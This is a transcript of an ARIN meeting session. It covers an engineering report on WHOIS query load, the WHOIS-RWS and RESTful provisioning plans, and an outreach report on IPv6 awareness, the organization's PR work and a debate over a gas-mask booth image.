And we're attempting to keep up with the WHOIS traffic. So you guys kind of keep that in mind because I have some questions about that I'd like to ask you. So here you have WHOIS statistics.
Now, you'll see that the legend here is more on the cumulative per month for v6. And I needed to do this to make the numbers really more impressive. So you look at these numbers and you can see that the numbers are quite high, if you look at it from the cumulative per month. But if I was to do the average per second it wouldn't be nearly that high. So there's still not a lot of work, much as the rest of you guys know, that has to go on v6. So this is a fraction of a percent for us.
Now, now this is kind of an interesting slide. So if you guys look at this, you'll see the sort of, you know, up, up and away sort of thing that's going on here. And we're having some interesting behavior that's going on within WHOIS right now. And we're peaking a little over 400 queries per second. We did over-provision our systems last year to handle the load. But it's starting to worry us because we're starting to run out of rack space. And as we started looking at this, we saw that 50 percent of our traffic is self-referential. Basically it's asking for its own IP address saying, hey, I'm at this particular IP address and I'm asking for my own IP address. And it is a singleton query. So you can't really say I'm going to rate limit this guy, because he only comes in once and then he's gone. And we're starting to see more and more of this.
And we've actually talked to various people in that sort of the secure intel community, and it doesn't appear to be a botnet. And many of them that we've looked at seem to be Windows boxes. So if any of you have -- know of an application that's using this or of some other thing that's occurring, please let myself or Matt Ryanczak know, because we'd really certainly like to see what's going on here, because we can either engineer this as, hey, here's an important application -- I'm not sure why one would ever want to do something like this -- or are able to actually snuff this out.
So when we're doing this -- excuse me, again -- what are we going to do with WHOIS? So as we're going through this, we realized that WHOIS is -- it's a fairly small program that we have. But through this sort of load that we're seeing, we're finding it's a little bit creaky. And as we go through more and more and analyze the sort of queries that people come in with, that we really need to redo this.
And right now we're adding CPUs and additional boxes that handle the load, but we certainly can't keep that up forever. So one of the things that Andy Newton has done is actually created WHOIS-RWS, and actually one instance actually that he's put together actually equals the load that we have on our entire constellation right now. So we're looking forward to actually putting this out.
Now, one of the things that -- so Andy's talked about this quite a bit over the last couple of days. And you've heard me say -- you've heard John say it -- this is going to be an important change. Because you're going to have the ability to do things a little bit differently than you have now. You're able to have a much more sort of richer query set than you will now, but there will be some changes behaviorally as this thing comes out. So be aware of that when it does come out. We hope to do this here within the next three months.
Development. Over the -- since the last meeting we put out four ARIN Online releases. We've done multiple improvements to existing systems, adding boxes and so on to keep adding to the load. We're adding on the point of contact validation that you're seeing right now, WHOIS RWS that I've just talked about. We're talking about the RESTful API for provisioning, and Andy sort of referenced this. And, again, it's really important for you guys to look at this right now and give us feedback on whether or not this is a good idea or not, or what sort of improvements that can be made.
There's a skeleton document that's available off the website. Where is that off of, Hollis? Where the API is? It's off of Tools. There's an API, which it's not fixed now. I wouldn't code against it, but it at least gives you an idea of what a particular API for provisioning could be. I must stress that this is not fixed yet. But it at least gives you an idea so as you start going and saying, well, I need to start budgeting for this for next year, you can give them this document and say it's something like this, so what would it take to actually put something like this together. It may change some. It may change a lot or not very much at all. But it's something that our staff has been working on quite -- in a dedicated fashion here. And of course what this means is that we'll have more secure templates.
Coming from VeriSign, this really scares me how ARIN actually does business right now, mostly through e-mail templates. There's lots of ways that we're going about it by via third parties that are human interventions, making sure that things are not subverted by miscreants and so on, but this is actually going to help us a lot in terms of making sure that things are more secure coming from you guys to us.
Here's a feature set of ARIN Online. You've seen that before. Here's what's coming, upcoming on ARIN Online releases in the future. POC validation, zone management, RESTful API, and RPKI integration, all of which you've heard about here earlier this week. Has anyone not heard about this? Who is not listening? Okay. Oh, okay. Thanks. Thanks, Pete, one of the ops guys.
So here's what a screen shot of zone management looks like. So this is actually going to make things much easier on you in terms of doing your zone management. You can do this -- right now you can do things on a per-network basis. We're going to give you a much more sort of granular sort of management interface so that you can actually do things on a per-zone basis, which makes a lot of sense. We've had a lot of customers actually ask us for this, and hence we'll go forward. And associated with this is that you will actually be able to put in your DS records as well so that you in turn can secure your zones through us via DNSSEC.
Here are numbers on ARIN Online. Geoff, you had like 4,000 active accounts, something like that?
Geoff Huston: Something like that.
Mark Kosters: We're up to something like 14,000. So we're doing real well. Thank you. I just thought I would say that. So you can see that people are actually using them, too. So and this is a one and a half times the increase over the last meeting. And from the meeting previous, it was a two times increase. So we're seeing a little bit of a decrease in terms of the amount of growth. But it's still pretty impressive. And thank you for joining it and helping us along.
As, again, what Mary K. talked about a little bit earlier in terms of Agile methodology, this is really for us to ensure that schedule accidents don't happen. And this has actually been -- we kind of went around various sorts of methodologies to actually put together development over the past two years. We found that this is definitely the way to go for us. And it's working on the strengths of the organization. We're getting very good participation from the various service departments, and I can't say enough of how the integration of Q&A and development has actually put out good, high-quality releases and doing it in a quick way. And of course they're more frequent.
So we're basically doing -- trying to do a release a month, and no less than a release every two months. So you will see outage announcements from us on hopefully Saturdays when this thing is going to be -- when we're upgrading our ARIN Online system.
Quality assurance. It's not only making sure that things work, but also looking at it from the customer experience perspective, and making sure that we just don't do these sorts of things in an engineering way where you go, what the heck is that. So makes sense for engineers but nobody else. So Tim makes sure he looks at it from a customer perspective and it seems to make sense in a much better way.
Project management. Right now Erika is actually managing three large development projects. You see the ARIN Online ones and there's two separate ones that are underneath that that are sort of -- more sort of structural, infrastructural setups that we're using, one that leads up to the DNSSEC provisioning and another one deals with WHOIS-RWS, and of course building testable systems.
So upcoming challenges. You can see that we have additional online -- ARIN Online features. We hope to start putting in resource management for you guys so you can start managing your IP address resources and autonomous system numbers as well. RESCERT moving from pilot to production by the end of this year. RESTful provisioning. Document retention, systems and management, for that matter. Replacement of legacy gear. And something that I put on the last deck and I put it on this one but at some point we like to look at the sort of overlay work that the people within IETF are doing with LISP, and we do have a box on site. We just need to start focusing on it.
So I'm done. And I apologize for sort of losing it for a second.
Scott Bradner: You might check on Macintoshes for your queries because part of the boot process or readdressing process it sets the host name to the peers to be the result of a WHOIS.
John Curran: Interesting. You have lots of microphones. So front and center.
David Farmer: David Farmer, University of Minnesota, ARIN AC. The zone management and RPKI and all these nice cool things that are part of ARIN Online. One of the things I'm trying to figure out is how to convince people from the higher-education world that they really need to take this legacy RSA stuff seriously, that the world's changing. All of that stuff is for someone who is a legacy participant; do they need an LRSA or an RSA to participate in ARIN Online and all of that?
John Curran: Yes.
David Farmer: Good. Right answer. So now I have another thing to go whomp them with.
John Curran: Right.
David Farmer: Thank you.
John Curran: Okay. Center rear mic.
Heather Schiller: Heather Schiller, Verizon Business. The strange queries you're seeing, I know you mentioned you've talked to some folks and they don't think it is part of a botnet, would you be willing to share some of the address ranges that are doing those queries with someone in the security community so we can compare against lists we have?
Mark Kosters: Sure. So we were doing it with Cymru, and they have this -- they have a number of dumps from us. There are some other places that we need to send it, we'd be happy to do so.
John Curran: Far left microphone.
Chris Morrow: Chris Morrow, Google and ARIN AC. Does no one use the WHOIS protocol? Is that why it got deprecated? I'm just curious.
Mark Kosters: Why nobody uses it?
Chris Morrow: I mean, the IETF deprecated for a reason, right? So it must be because no one uses it?
Mark Kosters: That's certainly not true, right?
Chris Morrow: Did you go beat somebody over the head with that? Because they've done that a couple times now, and it's really time to go put a boot in somebody really far up there. Really far.
John Curran: So I guess I want to understand the request. You think we should liaison with the IETF to explain to them that deprecating the protocol is inappropriate while it's in use?
Chris Morrow: Yes. Maybe Mark in some new boots -- I like Doc Martens -- and a goose can visit the IETF.
John Curran: And a goose. Several. Several geese.
Mark Kosters: I'll say it with a straight face next time.
John Curran: Far right microphone.
Tom Zeller: Tom Zeller, Indiana University and ARIN AC. I wanted to ask if the 400 queries per second is NDA or I can share that with the research higher education network, information sharing and analysis center, which is the guy in the cube next to me.
Mark Kosters: Sure. So there are really no privacy implications with this as well. You'll know the source IP address by the query that is trying to ask for. So it's really no big deal.
Tom Zeller: Also I wanted to ask -- could you go back to the slide on new on ARIN Online. I was taking notes and I didn't see what the last thing was.
Mark Kosters: This one?
Tom Zeller: Back further.
Mark Kosters: This one?
Tom Zeller: Yes. And then on a later slide, what is our RESCERT again?
Mark Kosters: Resource certification is -- I talked about this on Monday afternoon.
Tom Zeller: I'm sure I was paying attention, just refresh my memory.
Mark Kosters: You should have raised your hand. What this is doing is it uses certificates to actually associate your resources, first of all.
Tom Zeller: I remember that conversation. I just didn't know the term.
John Curran: Thank you. Center rear mic.
Lee Howard: Lee Howard, birder. I'm not sure what you did, but I'm sure you were asking for it.
[Laughter and applause]
Mark Kosters: I only told half the story, by the way.
Dave Barger: Dave Barger, AT&T. I was taking a look yesterday at the WHOIS RESTful Web service. Very nice. Also looking forward to messing with the provisioning API. My question is: Have you been talking to -- have you been talking to any of the vendors that provide like IP management tools in terms of getting them up to speed on what the provisioning interface is all about?
Because there's a lot of vendors out there that automate the SWIP process, but it's obviously based on the old templatized-type architecture, and there's going to be a lot of development related to moving over to this.
John Curran: So if the vendors are here, then we're sort of talking to them by definition. But if they're not, I don't think we've done specific outreach. I'm happy to do that. But can you give me a list of vendor contacts so I can do so?
Dave Barger: I can give you a few. E-mail them to you. You bet.
Mark Kosters: There's a thing I'd like to add to that. As a customer, it would be useful for you to say, hey, look, wake up and we really want this, so that they can say, hey, we have demands, so therefore we can build it.
Dave Barger: Yeah. And we can push it from our side, too. And we will. I just know that, for example, Alcatel-Lucent is the vendor that provides our IP management tool, and I know that they have worked with ARIN in the past, you know, when there have been template upgrades and all of that sort of thing. So I know they've talked directly to ARIN. I just didn't know if you all were on the offense to go out and reach out to vendors or anything. Just curious, but we'll push it from our side.
Mark Kosters: Great. Thank you.
John Curran: There's someone in that queue.
Aaron Hughes: Just as an IPAM vendor, no changes will be made to any IPAM software until there's a stable release that's never going to change for RESTful.
John Curran: Understood. That makes good sense. Now the other person in that queue.
Heather Schiller: I asked for it before, I'll ask again, because I haven't heard anything. So we used the suggestion process to ask for a test bed for all of this stuff. And how is that coming? I mean, it would be nice to have even a test bed for the template stuff so that developers could test template changes, because we have this problem that every time we -- we have to wait until it's in production until we can actually test it, and then we find out there's some bug in whatever we did, and then we have to have like an emergency maintenance so we stop sending bad templates.
Mark Kosters: We talked about this within engineering quite a bit. So I'm going to describe our sort of legacy environment right now, and then I'm going to describe our new environment. Our legacy environment has lots of boxes doing lots of individual things and they all kind of work together, which makes adding a new environment incredibly hard for us to do. There are lots of boxes, lots of operations work that has to be done to make this happen. Basically building an OT&E environment for you to do your testing in.
With this new environment, it's essentially very easy for us to throw up a new set of boxes for operational test and evaluation. So you guys can go ahead and throw whatever you want to at it. You can look at the results and see whether or not this is correct. And we do plan on building that as we start building these provisioning tools. And we're starting that process now.
John Curran: So --
Heather Schiller: The problem from the part of the developers, we're not going to be able to give you feedback until we have that place to test it. And our developers are not going to want to put something in production that they can't test against, especially when the entire method of doing this is going to change.
Mark Kosters: So what I'm hearing from you is that as we build out those RESTful APIs, it would be very useful for us to build an OT&E environment for you guys to actually do your test --
Heather Schiller: Don't wait until you get to the end, otherwise you're going to get to the end of your development, you're going to think it's all good, but then we'll be able to test and people are going to go, no, no, and you might as well do that in parallel so you don't waste effort.
Mark Kosters: Understood. I'm with you.
John Curran: Okay. So -- and just for ordering, between Aaron and Heather, because I couldn't figure out, is it fix the API and then provide a test environment? Or is it provide a test environment and then fix the API?
Heather Schiller: Together. At the same time.
Aaron Hughes: There are a couple of methodologies for doing this, one of which is to stick a version identifier inside of the XML code, which is perfectly fine. So as soon as there's a 1.0 version to release to the public then we can figure it out.
John Curran: Do a 1.0 and a test environment and make it available so you guys can bang it?
Aaron Hughes: Right. As long as the 1.0 never goes away. So you can start building tools off of that. And if you need changes, then you can update your code as appropriate.
John Curran: We're there. Any questions from Mark?
Mark Kosters: Thank you.
John Curran: Next up is Richard Jimmerson to give the Outreach Report.
ARIN Reports - ARIN Outreach Efforts
Richard Jimmerson: I'm Richard Jimmerson. I do a lot of outreach for ARIN throughout the year. I do that together with Megan and several other people that I'll talk about here in a few minutes. But I want to give you a brief description of the outreach work we're doing and why we're doing this.
So why we're doing this. So we're reaching out to contact varied stakeholders beyond the traditional ARIN community. So you guys know all about IPv4 depletion. You know that you need to adopt Ipv6. You know what the governance process is like, but there are many people out there that don't know about these things, so we're working hard to raise their awareness of ARIN's key issues and messages and provide education. When we do go out there and talk to people about some of the topics, they're surprised to hear that there's an organization like ARIN, that there is a self-governance process for the Internet. They think that a government runs this. They think that a large corporation runs this and dictates all of it. And they are quite surprised that there is something that they can participate in. So this is very valuable work. And a lot of them do eventually make it into the process. There are also people out there today that still have never heard of IPv4 depletion. The fact that we're running out of IPv4 addresses, and there's a need to do anything with IP version 6.
And I think some of the Advisory Council members in the room that have done this outreach with us can attest to that. They can tell you that we encounter those people every time we go out, and they're not just lay-people, users using the Internet; these are people who are technicians inside their networks running the networks. The key messages that we're getting out there. ARIN and the other RIRs, we want people to know that there's a governance system for Internet address space and the things that we do, and ask them to participate in that. And we do talk to them about IPv4 depletion and IPv6 adoption. That's one of the biggest messages that we've been following these last couple of years. And also we have other targeted messages that we'll use at certain shows, like legacy RSA where there's a lot of legacy resource holders that are shown, and 4-byte AS numbers among other topics.
Now, the audiences that we reach out to, we're trying to reach every industry segment that we can. So we've hit all the big ones out there, but there's still a few of them we haven't reached yet. And that's evident when we come across them at some shows or during some presentations and they pretend that they've never heard that we're running out of IPv4 address space. Well, actually, they heard about it in the 1990s and the early 2000s, and they think we're crying wolf. And we need to break through those barriers and talk to them so that they know this isn't crying wolf; that we're really talking about something that could happen as soon as next year.
So the methods that we use. Presentations. We go out, we give presentations at all sorts of shows where we can get on the agenda to talk about ARIN, the governance process and IPv4 depletion. We do exhibits. We'll actually go to a show and we'll set up a booth and people will come by and they'll talk to us and we'll give them our message. It's a challenge to get them to come by the booth and actually stop and talk to us. So one of the other things that we do is we do reverse exhibiting. We'll go out and we'll talk to everyone else that's there. A lot of times these shows that we go to, the organizations that we need to be reaching out to are the other ones that are exhibiting. They're vendors with an IP stack on their product and they need to hear this message, and we'll reach out to them very aggressively. We also do media interviews. And this has picked up quite a bit over the last year or two, and I'll talk more about that in a moment. And some of the shows we go to, there will be opportunities for advertisements and we'll put those in their trade show publications and do those things.
Some of the materials that we use are fact and information sheets, and we take and we put that all on CD. Of course, people are much more interested in taking away a CD with all the information on it than a stack of papers, because they don't have room to carry that stuff. But a lot of people do still like the paper. We have multimedia pieces we run continuously on the booth, and we'll find that people stop and actually watch the videos on the ARIN meeting, our process and other things that we have going. We have small giveaways, nothing big. Just pens and stickers and those things. And I think the most important or the most popular thing has been the stickers for folks. And slide decks and comic books and other forms of materials. Here's an example of some of the exhibits and the speaking events that we've done just recently since the last meeting.
One of the big ones here is the Consumer Electronics Show. We went there in January, had a booth. We had a lot of people come by our booth and stop and talk to us about IPv4 depletion, IPv6 adoption. That was our big message there. But we also had a team of ARIN staff and Advisory Council members that were there with us, and we did an aggressive reverse exhibit campaign there. We actually mapped out the trade show floor. CES is a very big show. Mapped out the trade show floor, and the volunteers and the ARIN staff that came to that event that week over those four days walked long distances, and we spoke to every vendor that was at CES with the exception of perhaps a few cell phone case vendors, and that made up about a quarter of the organizations there.
Now, other places that we've gone to. You can see here we're trying to do a mix. We're reaching out to IT people inside small organizations. Large wireless organizations. Voice providers. Internet service providers. Next-generation wireless providers. We're reaching out to everyone that we can. And there's some industry segments that we still haven't hit and we hear about these throughout time. For instance, on the upcoming events we're trying to get into the E3 Gaming Expo. The reason we're trying to get into that show and exhibit there and talk to all the vendors there is because it's come to -- we've become aware of the fact that a lot of game console providers and organizations that support that service are not thinking about IPv6 yet. It's strictly IPv4. We need them to be thinking about IPv6.
One of the challenges for getting into shows like that, though, they have a review process. It's not about paying your money and showing up and talking to people from a booth. You actually have to go through a review panel to see if the -- to see if you're appropriate for the show. So that's one of the things we're actually doing this week is trying to get through to get into that show. And there are other things that we'll do between now and next year, and we're trying to diversify the audiences that we reach. There are some of them we've hit two or three times now, and we're going to drop those as time goes. But we want to hit as many people as possible so that next year or shortly thereafter that when we do run out of IPv4 address space that there aren't people there that are saying they've heard that for the very first time when it hits the press or media that we have run out.
Now, we did hire a public relations firm last year. We're working very closely with them. LEWIS PR has done a very good job. Megan speaks with them almost daily. They advise us on a lot of things we do inside the organization PR related, including our social and media outreach.
Now, one of the requirements that we had when we went searching for a PR firm is that, in addition to traditional media, it was an organization that was up on the times for social media. And LEWIS PR had a very good team of young people that came to the meeting where they had pitched their proposal to us, that knew an awful lot about social media. We did select them and it's paid off for us. They've done a wonderful job advising us in that area.
Here's a sample of some of the media coverage we've had just recently. We're reaching out, doing as many interviews as we can on the topic of IPv4 depletion, IPv6 adoption and participation in the Internet governance process at ARIN. And actually the traffic is picking up. It's picking up for two reasons. It's picking up because our PR firm is doing a great job working with Megan. But it's also picking up because this topic is getting on the front screen for a lot of organizations out there.
As we get closer to IPv4 depletion, the media gets more interested in that. John's very busy doing media interviews on a regular basis. He's doing so many of them that I even get to do some, because he can't do them all. And a thing that we don't have listed here, but we did have one television cable news network cover the topic. They actually came out to the ARIN organization. They did a video interview with John, and they got an awful lot of education in the time that they sat there and talked to John and also talked to Megan. They looked like real pros when they talked about that. I think John got a couple of seconds of time on the screen. We're hoping we get more, but we think there are going to be more of those media interviews from television media coming up inside the next year. It's going to be a topic that everyone's interested in and it's going to happen. So I'm glad we have John here to help us out with that.
ARIN goes social. So this is a joint effort between the ARIN Member Services department and the Outreach team. The Outreach team is Megan and I, and you know all the folks in the Member Services department that put on this great meeting. We got together and we worked together on doing social media-related activities. One of the things that we did is come up with the TeamARIN Microsite. The purpose of this microsite is when we go out and we do these outreach events for people, they ask us: Where can I go to get more information? We've got few different places they can go. We've got a knowledge section on the ARIN website, we've got the IPv6 wiki, and we've got a few other resources. But what we've done is taken all of our social media presences and taken all of our education materials and we've put them together in one place on this microsite so we have a place to point people to. And we're also using this site to document the work that we've done in the IPv6 area over the last couple of years.
So you can probably -- you've probably seen us on Facebook if you're in this room. We're also on Twitter. And we're posting videos up to YouTube. We've got about 500 Twitter followers right now. We're looking to expand that even more. Before I stop here and go into questions, I just wanted to say that none of this work that we do in Outreach would happen without all of you out here in the audience. I want to call out just a few folks because I didn't have a staff slide, John. I'm going to do this real quick. None of this work would get done without Megan's work. Megan is our public relations officer. She does an outstanding job with this.
Also we get support from the Member Services department, people like De, Hollis and Jason, and several other people in the Member Services department. They do an awful lot of work with this. Mary K. mentioned Jess. Jess does a lot of work to make this happen. It's a whole organization effort. And all of the ARIN departments participate in putting together materials and actually going out on the road and talking to people at these shows. Every department inside the organization has been wonderful. John Curran, it's great having John as staff at ARIN, because John is out continuously speaking to people and he's very effective. Thank you very much, John. And the ARIN AC. John, yes.
And the ARIN AC.
John Curran: ARIN AC.
Richard Jimmerson: It's very effective when we go out and we've got this one-two punch when we talk to people out there. People are wary. They think we're trying to sell them something. We explain to them we're a nonprofit public trust organization, and that relaxes them a little bit. But when they find out we have a member of our elected Advisory Council who is a volunteer that found the message important enough to come on their own volunteer time and stand on the booth with us and talk to them, it's very significant. It makes a very big difference, and we could not do this without the Advisory Council. Thank you.
John Curran: Any questions for Richard?
Lee Howard: Lee Howard, Board of Trustees. How can we help?
John Curran: How can the Board help or how can everyone help?
Lee Howard: Sorry. Everyone. Maybe I should have said Lee Howard, Time Warner Cable. How can we help?
Richard Jimmerson: Well, one of the things that we've done with this microsite is we've put a "get the message out" section there where you can go. And we've got the public view slide deck there. And we update that now at the frequency of every time a new /8 is issued by the IANA. I think that's going to be every couple of months. So it's pretty up to date, and you can use that.
We also have resources there. We have a form people can fill out on that microsite and request materials that can be sent to them if they're going to be doing a presentation at a show somewhere to spread the word, spread the message. We'll send a box of stickers and pens and things like that, and perhaps even some hats. And I think that that's pretty helpful. I think there are even people in the room that have used that before.
John Curran: Center front.
Cathy Aronson: Cathy Aronson. Richard just set my question up perfectly. By some freak of nature there was a tech conference in the lovely town of Jackson, Wyoming, slash, Boondoggle. And they sent me a fabulous box of stickers, and there are canned slides on the website that I used. And I gave a presentation to all of the folks at this tech conference in Jackson, Wyoming, about ARIN and Ipv6. And it was really great. So if you happen to have some conference like that, it's really easy. They send you a box. It's got all kinds of goodies in it. And there's already presentation materials. So it's pretty nice.
John Curran: Thank you, Cathy. The community should know, while Richard and I go out and do quite a bit of speaking, the number of meetings occurring in any given week exceeds, even with speed of light travel, our ability to be everywhere. So this only scales to the extent that you see a meeting or you see an opportunity locally or an association you're with or a trade group and you want to go speak, we're 100 percent behind you. We'll work with you on the slides. We'll get your materials. We'll get you things to pass out.
So I guess to answer Lee a little more fully, we're probably not going to call out people individually and say "can you speak here." I think we're at the point in time of reach-out where you should just go look for those yourself, find them, and go speak, because we have the materials for you. We all need to be IPv6 ambassadors here, or it's not going to scale fast enough.
Aaron Hughes: Aaron Hughes. The reach-out program is absolutely fantastic. Thank you guys so much for all of your hard work. It's effective. I use it a lot when I talk to people about v6. The microsite's great. I would request of the education site one more addition, which is a step before the v4 runout, something like what is an IP address and why do people want them so bad, as well as something that describes the difference between v4 and v6. Because people are still quite confused when they come back about compatibility and what dual stacking is. So that first two steps would be really fantastic so people don't come back and go, I've got it, there's a scare, there's a resource that's running out but I don't quite understand what it really is.
John Curran: For those materials, do you want the one- or two-page briefing paper or the five-page slide deck sort of format? Sometimes we're stymied by format because someone says they want something and we sometimes give it to them in the wrong form. What are you looking for?
Aaron Hughes: FAQ-style would be very useful. Just what is this resource. There are so many different types of people that are interested in this resource depletion that varies at different levels inside of a company, and the ones that need to impact their company are not necessarily technically savvy.
Richard Jimmerson: We do have those materials currently. What we'll do is we'll take and make sure that they're displayed more prominently in those locations and we'll work on a format so that it suits the people that are coming, according to the description you gave.
Aaron Hughes: Fantastic. Thank you.
Bill Darte: Bill Darte, ARIN AC. I noticed in your upcoming events list, et cetera, I didn't notice anything that looked like government entities. When I hosted a table the day before yesterday talking about government involvement in ARIN and all of that, one of the things we chatted about is outreach from ARIN to these communities and whether speakers could come talk to individual agencies or whether there were interagency opportunities to come hit a lot of folks and all that sort of thing. So I wonder how you do that. I know you do some of that, but how does that get arranged and supported?
John Curran: That's actually myself and Cathy Handley handle those, and we do quite a bit. So if you have a government opportunity, reach out to myself or Cathy. I've done probably a dozen government panels, outreach, including in U.S., Canada. I'll be at the Caribbean Telecom Ministers later on in a month or so. So we do quite a bit of it. We don't usually consider it outreach because to some extent they get different materials. They get materials like Aaron was discussing earlier, the sort of 101 version of the course, which is sort of interesting when you think about it. But that's the way government is. And we do quite a bit, though. So we don't know where all of those are. And that's the type of thing that just drop me a message if you find one you want us to be at and we'll fit it in, generally myself or Cathy.
There are also a select number of people we work with in the industry, who, if we can't handle it, I can have someone -- like we work with the Federal IPv6 Task Force. Pete Tseronis is happy to cover something like that. We'll work with Industry Canada on the same thing. So we have some relations that we can leverage if we can't be there, to get someone there who is knowledgeable.
Marla Azinger: Marla Azinger, Frontier Communications and ARIN Advisory Council. You mentioned you're working with a PR firm. Did they suggest using a gas mask?
John Curran: The PR firm works on lots of our messaging materials. And we found them to be remarkably effective.
Marla Azinger: Did they suggest the gas mask?
John Curran: I believe they were involved in the development of that idea.
Marla Azinger: If they're suggesting negative images like that, I would advise maybe you look around for a different PR firm. I understand you all were going for something to draw attention. But I believe one of the standard marketing tactics is not to use negative images with something that you want a good response to. And I know I have an extra personal hate for gas masks, given my history, but it's a negative image, and you want a good image with v6. So I just -- if you have a PR firm suggesting negative images for a marketing campaign, it's not a great idea.
John Curran: We've got a scorecard for how we evaluate the PR firm that I actually run because they're a significant vendor, and the effectiveness of the PR campaign is a metric. So we're going to go several months, we'll see how effective it is. And then we'll add that. With respect to whether it's a negative or positive image, I don't know whether or not it's particularly one way or the other. But at the end of the day, the score is effectiveness for the ARIN dollar.
Marla Azinger: I don't believe I'm the only one that thinks it's a negative image to put with v6, but I'm probably the only one that will publicly say it.
John Curran: Microphones are open.
Unidentified Speaker: Merit. It is kind of like Toxic Avenger or something like that. But two ideas that I just had were like for a high volume messaging, one would be put some spots on NPR, just audio spots. The other is seriously you could consider getting like three minutes on a Jay Leno show type of thing and do a quick public service announcement, Jay Leno, that sort of thing.
John Curran: That's good ideas. We have actually had a spot. We did a radio spot, have had two interviews. We haven't yet hit the visibility to get on NPR. But I think we'll be there sometime this year.
I will tell you that the mainstream media -- we do have a lead from Forbes we're pursuing. That's getting into the business media. But the mainstream media is hesitant to reach out and touch a topic like this until it's absolutely overwhelmingly decided. So we might be premature, but I do agree it would be nice to get into magazines and televisions that everyone is watching every day.
Wesley George: Wes George. Just have a quick response directly to that. No one said this has to be something that NPR does as a spot: This segment is sponsored by ARIN who reminds you that IPv4 is close to exhaustion. Visit, .net, whatever it is, to learn more. That's all you need.
John Curran: Got it.
Rob Seastrom: So, John, we're looking forward to a halftone picture of you above the fold on the front page of the Wall Street Journal. I do not share Marla's concern about 2010 gas face dude /64. The caption is "it's not the end of the world." He is Cold War clipart, which, depending on your age and your level of awareness of the things in the world at a particular age -- I'm the trailing end of the generation that ducked under our desks. And, guess what, it all turned out to be just okay. So we went ahead, we followed directions, we sorted things out, and there was nothing to worry about. So that's the message that I get from that picture.
John Curran: Understood.
Joe Maimon: Joe Maimon, CHL. I just wanted to mention that I'm behind this campaign. I believe, like I expect most in this room, that it's important to get people to see things the way we do before, perhaps, they form another opinion.
There is something I was curious about. You speak with a lot of people. Some of them probably have no preconceived ideas about what we do. And others probably also do; some of them are probably negative. I was just wondering what kind of negative preconceived things you've heard about what we do. Maybe there's something we need to nip in the bud ahead of time.
Richard Jimmerson: Yes, there is some negativity out there. There are organizations that still think that ARIN is this horrible organization that's preventing them from doing their jobs, perhaps. But we've had those things happen to us, and a lot of it is just hearsay.
So an example I used last time I talked about this. Cathy and I were standing on a booth one time last year and a gentleman showed up. And he immediately -- in a suit., he was an executive --Immediately began criticizing the ARIN organization saying that he didn't like us and that we were basically a horrible organization and that we were causing damage to his business. And so we explored a little bit with that individual and asked him what was going on. And apparently his systems administrator had told him that he had requested -- he had requested resources from ARIN and he was having trouble and ARIN was very difficult to deal with and was not giving them what they wanted or what they needed. And basically that's where that came from. So we asked him if that person was at the meeting with him. And he said, no, they're not at the meeting. And he said: I'll tell you what, though, I can call them on the phone. He took out the phone and he called that person up and had them on the speakerphone and said, Hey, Johnny, whatever his name was, I'm standing here on the ARIN booth at -- I think it was COMPTEL, and can you tell me a little bit about the problem you're having with ARIN, because I was trying to describe it to them. The young man on the phone about choked on his tongue, was having a really hard time and couldn't describe a problem that he was having with the ARIN organization. And as soon as he got off the phone, the gentleman in the suit that was standing in the booth with us apologized to us and told us he now understood what the problem probably was and left. But we do get a lot of that and there are other examples of that, and we do our best to work through that and help people understand that we are there, we are available, we are open, and we invite them in.
John Curran: In terms of general messaging, last -- if we go back two years ago, we had people saying we're never really going to have a problem with v4 addresses. There are lots of them to go around. The legacy space and unused space will come back and we'll have decades more space. And that was -- I mean, there's some truth that there's definitely some wiggle room there, but you don't have to look at the numbers long to realize there's not decades of wiggle room. So we had to address that message. And I think we have in the community.
We no longer find other technical organizations saying IPv4 runout isn't a problem. And that's what we used to see. So now we're all saying it's a problem. I think last year's confusion was, it's a problem, how is the industry going to deal with it, was where the confusion is. Whose job is it to get us over the hump to v6. Is that a carrier problem or a content provider problem? So we still have some places where we can't dictate the answer. We have to say it's a problem. There aren't going to be available addresses from us. There may be some others available short term and long term it's carrier grade NAT or going to IPv6.
We're not at the point now where the industry has said we all have to get to v6 by this day. Some of them have said we're going to use carrier grade NAT and we think that works forever. So ARIN has to calibrate its message with what we're hearing from you, and until the community -- two years ago you told us promote v6. So now we told people, yes, v6 is what we're promoting and IPv4 runout is going to occur. Until the community has consensus, we don't -- we try to keep our messaging behind what the technical community is saying, because we don't want to be the ones advocating a position that this group hasn't given us.
Owen DeLong: Owen DeLong, Hurricane Electric. It was a real pleasure working with the ARIN folks getting that TeamARIN server up, and I'm glad it's working as well for you as it is. This is unusual for me, but I'm actually going to disagree with Rob and agree with Marla. I think that the gas mask sends the absolute wrong message about IPv6. I think people see the gas mask. They don't even necessarily read the caption before their brain reacts with a very negative opinion of whatever the message is going to be behind that. I think that the message with v6 needs to be up and to the right. Positive imagery. And the gas mask isn't that.
John Curran: Okay. So my question is: Our plans are to run that and see how effective it is at driving participation to the booth, because in some shows, given the number of events we do, there are shows where it's difficult to get people into the booth.
Owen DeLong: I agree you need more eye-catching imagery to get people into the booth than what we've been using. The thing that concerns me about the gas mask is while it may drive a certain number of additional people into the booth, it may drive a lot more people away from our message that don't ever come to the booth.
Bill Smith: Bill Smith from PayPal. I'd like to speak in favor of Marla's position, not necessarily for the content, though I personally may find the content objectionable, and I'm new here, but I'm wondering how a member or an ARIN member or a member of the community is able to provide input into such a campaign before the campaign launches. Because as a member that is of interest to me, especially when it is around messaging, marketing messaging, and depending who the messages are delivered to, what form, and, et cetera, what the emotional impact is of that message. So I don't know what the forum is to provide input, but I suggest there needs to be one.
John Curran: I think that's a great comment. We, as part of this, have been discussing exactly that. Obviously what has been our outreach campaign and our messaging, we weren't planning on using the booth images anywhere other than the booth. They're not a central theme, if you look at what we have. So when we do our marketing campaign, in fact, the materials that we have are based on what you can find online on our website. We actually -- on TeamARIN we have that.
Unidentified Speaker: He's on the website.
John Curran: We put him intentionally on, because the community wanted to see what we were using. But we're not using him anywhere other than the booth. I think as part of this dialogue we need to figure out how to do that in advance of production of materials and let that feedback happen before we do a selection. That may raise the cost, though, because you can't do design by committee. You may have to have a couple of campaigns and pay the cost of designing several if you want the membership to help put input into which one to use.
Unidentified Speaker: If I could respond. You may need that. The other point I'd like to raise is that while you may believe that that message is only going out on a show floor, if someone takes a photograph of it or a video of it and places it on YouTube, it can suddenly find itself in the mainstream media.
John Curran: Exactly, yes.
Unidentified Speaker: But it can carry an extremely negative message. That's my point. And as a member, I don't want my name associated with negative messaging. So that's a concern for membership and how I might choose to interact with such an organization.
John Curran: Acknowledged. Center rear.
